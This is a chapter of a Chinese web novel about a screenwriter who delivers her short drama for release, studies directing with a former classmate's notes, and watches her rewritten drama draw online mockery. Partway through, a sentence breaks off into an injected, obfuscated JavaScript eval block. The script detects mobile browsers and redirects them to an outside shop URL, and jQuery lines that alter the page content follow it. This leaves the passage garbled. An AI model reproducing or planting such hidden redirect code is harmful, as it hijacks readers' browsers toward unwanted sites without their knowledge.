成片交给晏氏那天，是个阴天。
云层低低压着城市的天际线，空气里有种雨前特有的湿润。
温清水抱着装有硬盘的文件袋，走进星光传媒大厦。
前台姑娘认出她，微笑颔首，“温编，李总监在十七楼等您。”
“谢谢。”她礼貌回应。
电梯上升时，温清水看着镜面里自己的倒影。
白色衬衫，灰色西裤，头发扎得整齐。眼下有淡淡的乌青，但状态还不错。
十七楼，短剧孵化中心。
李总监就是上次的负责人，戴细边眼镜，看见温清水，她起身握手。
“温编，辛苦了。”
“应该的。”
两人在会议室坐下。
温清水将硬盘推过去，同时递上一份打印好的材料。
“成片在这里。这份是相关资料，包括全片时长、集数划分、分级自评、送审申请表，还有主创人员名单。”
李总监接过，快速翻阅。
“平台方面，”温清水继续说，“按我们之前聊的，优先考虑草莓短剧平台。它对短剧的流量扶持最大，用户画像也和我们的目标受众重叠率高。排期上，”
她看了眼日历，“如果这周送审顺利，最快下下周可以安排上线。我建议先做三天预约预热，之后一次性释出全集，现在短剧市场，拖更风险太大。”
她的语速平稳，逻辑清晰，每个节点都考虑到了。
李总监从材料上抬起眼，看了她几秒，嘴角很轻地弯了一下。
“很周全。”她说，“和温编这样的人办事，很舒服。”
她将材料收进文件夹，忽然问，“我听说，拍摄后期，徐导离开了剧组一段时间？”
问题来得突然，但温清水脸上没什么波澜。
“徐导身体不适，需要休养。”她微笑着回应，“都是拍摄中的小情况，已经解决好了。没有耽误成片质量。”
她没有抱怨，没有解释，更没有把内部矛盾摊开给人看。
只是陈述事实，然后翻篇。
李总监点了点头，那点笑意更深了些，是种真正的欣赏。
“好。”她说，“材料我先收下，今天就走内部流程送审。草莓平台那边我有熟人，可以催一下进度。过审后确定具体日期，我会第一时间通知你。”
她站起身，伸出手，“期待下次合作。”
温清水也起身，回握。
“多谢欣赏。”
离开星光大厦时，雨还没下下来。
天空是浑浊的灰白色，风里有泥土的味道。
温清水没有直接回家。
她开车去了城西，她的母校。
电影学院毕业五年，她回来的次数屈指可数。
校园还是老样子，梧桐大道两侧的树荫浓得化不开，红砖教学楼上爬满了爬山虎，在灰白的天色里绿得发暗。
她把车停在路边，步行进去。
路过当年常去的三号教学楼时，她停了一下。
二楼最东边的窗户，是他们编导系的拉片室，无数个下午，她和同学们坐在教室里，看《霸王别姬》，看《寄生虫》，看《爱乐之城》。
屏幕的光映在一张张年轻的脸上，眼里都是对未来的憧憬。
现在那些脸都模糊了，只剩下屏幕的光，还亮在记忆里。
她继续走，走到教师公寓区。
三栋，502。
开门的是个三十出头的女人，穿着家居服，头发松松挽着，看见她，眼睛一亮。
“清水？你怎么来了？”
“学姐。”温清水笑了，递过去一个纸袋，“路过，来看看你。”
学姐叫沈明月，比她高两届，当年是系里有名的才女，现在留校教书。
两人关系一直很好，即使温清水毕业进了圈子，忙得脚不沾地，也偶尔会联系。
沈明月接过纸袋，打开。
里面是一套绝版的电影理论书，和一枚手工烧制的陶瓷书签，书签上画着一个正在打板的场记板。
“这书现在很难找了。”她有些惊讶，“还有这书签，真好看。”
“偶然看到的，觉得适合你。”温清水说。
礼物不贵重，但用心。
沈明月懂，所以笑得更暖了。
“进来坐。”
客厅里堆满了书和影碟，沙发上还摊着几份学生作业。
典型的学者房间，杂乱但有生命。
温清水说明来意，“想借几本导演方面的书，还有你之前提过的，国外那几门公开课的笔记。”
“你要系统学导演了？”沈明月一边在书架上翻找，一边问。
“嗯。刚拍完一部短剧，觉得自己缺得还很多。”温清水如实回答。
沈明月抱出一摞书和几个厚厚的笔记本。
“这些你先看。笔记是我读博时整理的，可能有点旧，但基础的东西不会变。”
“谢谢学姐。”温清水笑。
“跟我还客气。”沈明月看着她，眼神里有担忧，但更多的是信任，“清水，这条路不容易。但如果是你，我觉得可以。”
温清水抱着那摞书和笔记，重量沉甸甸的，压在手心里，却让人安心。
“我会努力，不辜负学姐的信任。”
接下来的一周，温清水把自己关在家里。
客厅的长桌成了她的工作台。
所有的资料摊开，不同颜色的便签纸贴得到处都是，像儿童的拼贴画。
至少不是从零开始，她安慰自己。
五年的剧组经验是底色，刚拍完的短剧是第一次实战。
现在她要做的，是把这些散落的碎片，整理成自己的体系。
她重新划分导演工作的模块：前期筹备、现场调度、后期沟通。每个模块下又细分：如何读剧本、如何做分镜、如何与摄影指导沟通、如何引导演员情绪。
沈明月的笔记很有用，严谨，系统。
但温清水不会全盘照抄。她要把理论和实践对照，消化，然后变成自己的东西。
饿了，她就随便煮点东西。
冰箱里有周一去超市买的一大包食材，她煮面时会加个蛋，煎得边缘焦脆，蛋黄流心。
困了，她就倒在沙发上睡。有时是凌晨两点，有时是四点。
醒来时天可能天光大亮，她揉揉眼睛，洗把脸，继续。
中间乔舒然发来消息：“《明日晴》开播了，数据还行。设定新颖，加上男女主本身的粉丝基础，首日播放量破五百万了。”
温清水回了个“嗯”，没有多问。
那部戏，她拿了剧本尾款后，就没再关注。
魔改后的成品会怎样，她大概能猜到。这圈子有时就是这样，好坏不重要，有没有话题才重要。
她关掉手机，继续看笔记。
第七天下午，她合上最后一本笔记本。
阳光从西窗照进来，落在桌面那些纷杂的笔记上。
她站起来，活动了一下僵硬的脖颈。
脑子里那些曾经模糊的概念，此刻清晰得变成一幅画在地图上的路线。
她知道接下来该怎么走了。
电话在这时响起。
是李总监。
“温编，审过了。”她的声音透过听筒传来，带着公事公办的利落，“比预期快。草莓平台给了绿灯，已经上了预约界面。四天后，周五晚上八点，全集上线。”
温清水握着手机，手心微微出汗。
“谢谢您。”
“不客气。片子我看过了，质感不错，尤其是后半部分。”李总监顿了顿，“温编，下次有项目，还找你。”
电话挂断，她给自己点了杯柠檬茶。冰的，加一点蜂蜜。
外卖送来时，她喝了一大口，酸涩冰凉的口感顺着喉咙滑下去，让人清醒。
她坐回书桌前，打开电脑。
不是看导演课程了，是看剧本，看小说。
《春日负暄》是她自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165541|196696||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的小说，版权在自己手里，一切好说。
但如果要继续拍下去，下一部拍什么。
继续感情流，《春日负暄》是这个类型，市场接受度已经验证了一部分。
但她也看过太多类似的短剧，无脑甜，过分虐，追妻火葬场，套路化严重，看多了会腻。
她移动鼠标，点开几个文档。都是她以前写的梗概，或者圈内朋友发来看看的小说开篇。
看了一会儿，她停了下来。
不对。
不是什么题材火就拍什么。
她想拍那种能看见“人”的故事。不是标签，不是套路，是会疼会爱会挣扎的人。
至于是感情流还是别的，形式不重要，内核才重要。
接下来的几天，她依旧沉浸在各种故事里。看小说，偶尔也看一些获奖的短片。
她在寻找接下来要走的路。
第三天下午，乔舒然发来一个链接。
“清水！你看这个！气死我了！”
温清水点开。
是一个短视频平台的帖子，标题很抓眼球：“避雷！年度最诈骗剧《明日晴》，编剧出来挨打！”
发帖的是个没露脸的女生，声音清脆，语速极快。
“朋友们，我真是服了。冲着设定新颖去的，前面十集也确实不错，男女主人设新颖，剧情连贯，是我最喜欢的破镜重圆题材。所以我花钱买了结局，结果真是雷中之雷。”
画面切到剧集片段，配上女生犀利的吐槽。
“这里，这个布景，还有女主身边朋友说的话，都暗示了女主会找男主好好谈谈。
“最绝的是这个结局，错过多年后男女主还是没解开当年的误会，一场大雪，一次车祸，男主直接死了。我笑了，真的。这剧前面积攒的所有逻辑，所有人物弧光，到这全崩了。这不是烂尾，这是把整栋楼都炸了！”
女生说话很难听，但逻辑清晰，每一句吐槽都戳在点上。
评论区已经炸了，全是“谢谢避雷”“差点就开会员了”“编剧是不是换人了”。
乔舒然又发来消息：“点赞已经五十多万了，评论区全是在骂的，真是讨厌。”
温清水看着屏幕，脸上没什么表情。
她回复乔舒然，“她说得都挺到位的。”
乔舒然：“清水，你脾气也太好了。我是替你不值，前面明明也是你写的，结果全毁了。”
温清水回复：“改剧本那天，我就想到这个结局了。”
一句话，轻飘飘的。
但背后的东西，重得有点让人喘不过气。
乔舒然发来一个拥抱的表情，“不气不气，咱们以后自己拍，再也不让别人改了。”
温清水笑了笑，回复说好。
她退出聊天框，打开短视频软件。
不知道是不是算法监听，首页推送给她的，竟然好几个都是关于《明日晴》的吐槽视频。角度不同，但核心都一样：前面惊艳，后面崩坏。
她刷了一会儿，终于刷到了一条不一样的。
是关于《春日负暄》的官方宣传片。
剪辑得很精致，配了煽情的音乐，突出了阮月白和林曦的颜值。
评论区却没那么和谐。
除了粉丝在控评“期待月白”“林曦好帅”，还有一些路人的发言：
“这两人有CP感吗？感觉不太搭啊。”
“短剧而已，要什么演技，脸好看就行。”
“原著党路过，只求不毁。周窈和陈屿的感情很复杂的，希望编剧能拍出来。”
温清水一条条看下去，手指在屏幕上缓慢滑动。
窗外的天完全黑了，她起身，走到镜子前，卷起裤腿。
小腿上的伤口已经结痂，边缘微微发痒，该换最后一次药了。
她拿出碘伏和纱布，小心地撕开旧敷料。
涂药，包扎，她动作熟练。
不知道会是怎样的结果。
但她都愿意坦然接受。